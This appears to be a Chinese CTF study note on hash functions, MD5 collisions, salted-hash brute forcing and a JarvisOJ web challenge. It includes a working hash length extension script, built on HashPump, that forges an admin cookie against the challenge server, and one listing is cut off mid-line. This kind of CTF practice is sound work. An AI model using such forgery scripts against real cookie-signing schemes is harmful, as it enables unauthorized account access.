哈希函数有md5、sha1、sha256
import hashlib
print hashlib.sha256("hello").hexdigest()
print hashlib.md5("hello").hexdigest()
print hashlib.sha1("hello").hexdigest()
输出
王小云院士提出的哈希函数碰撞攻击理论
在一个任意的prefix后加上不同的padding
使其md5值一样
fastcoll hashclash
sha1 clash
例题1、
如果要求满足特定条件如下
salt="123456"
hashlib.sha256(salt+x).hexdigest()[0:6]=="123456"
则
salt="123456"
import string
import hashlib
for i1 in string.printable:
for i2 in string.printable:
for i3 in string.printable:
for i4 in string.printable:
if hashlib.sha256(salt+i1+i2+i3+i4).hexdigest()[0:6]=="123456":
print salt+i1+i2+i3+i4
验证
有两个不同的字符串却有相同的md5值吗?
有,但是很长,概率很小
链接
jarvisoj web题 flag在管理员手里
我开御剑扫面只扫描到index.php 但是并没有下载
然后看别人的wp知道了是index.php~ 有个波浪号
然后放到kali 里 后缀给成.swp
然后vim -r index.php_.swp
试过index.php.swp 不行
Web 350
Welcome Admin. Your flag is
} else {
echo "Only Admin can see the flag!!
";
}
?>
我们需要达成以下条件
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
但是我们不知道salt的值是多少
所以必须通过hash扩展攻击来计算
在cookie中有两个值 role 、 hsh
其中 role 经过反序列化得到 $role
我们要
1、修改$role 为 admin
2、计算新的hsh 满足以下条件
$hsh === md5($salt.strrev($_COOKIE["role"]))
原来 s:5:"guest";
目标 s:5:"admin";
计算hsh 是salt+role在cookie中翻转字符串 (strrev()函数)后的MD5
先安装hashpump
我是在kali 里
sudo apt-get install git
git clone https://github.com/bwall/HashPump.git
apt-get install g++ libssl-dev
cd HashPump
make
sudo make install
其中第三条 可能会报错 E:/%20无法定位软件包%20libssl-dev
参考解决办法
遇到的问题 :
1、etc 在 / 目录下
2、查看kali版本
cat /etc/issue
uname -a
3、vim ~/.vimrc
set nu
设置行号
命令模式下 比如
:2,13 > 第2行到第13行缩进
:2,13 d 删除 2到13行
感觉:dG 不是很好用
4、换源成功可以install了
vi /etc/apt/sources.list
右键粘贴比命令模式下按p有用
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
apt-get update
apt-get install g++ libssl-dev
先创建一个py文件 然后设置下 以便粘贴保持格式
vim hsh.py
:set paste
代码1如下
import os
import requests
import urllib
def rev(s):
i=0
r=""
while i
运行
python hsh.py
代码2如下 参考脚本链接
import requests,hashpumpy,urllib
def attack():
url = 'http://web.jarvisoj.com:32778/'
old_cookie = '3a4727d57463f122833d9e732f94e4e0'
str1 = 's:5:"guest";'
str2 = 's:5:"admin";'
str1 = str1[::-1] #倒过来,这道题要role的值反过来求md5
str2 = str2[::-1]
for i in range(1,20): #用于爆破salt的长度
new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 变成 %00
ans = requests.get(url,cookies = payload)
print(i)
print(ans.text)
if 'welcome' in ans.text:
print(ans.text)
#print(urllib.parse.quote('\x00'))
attack()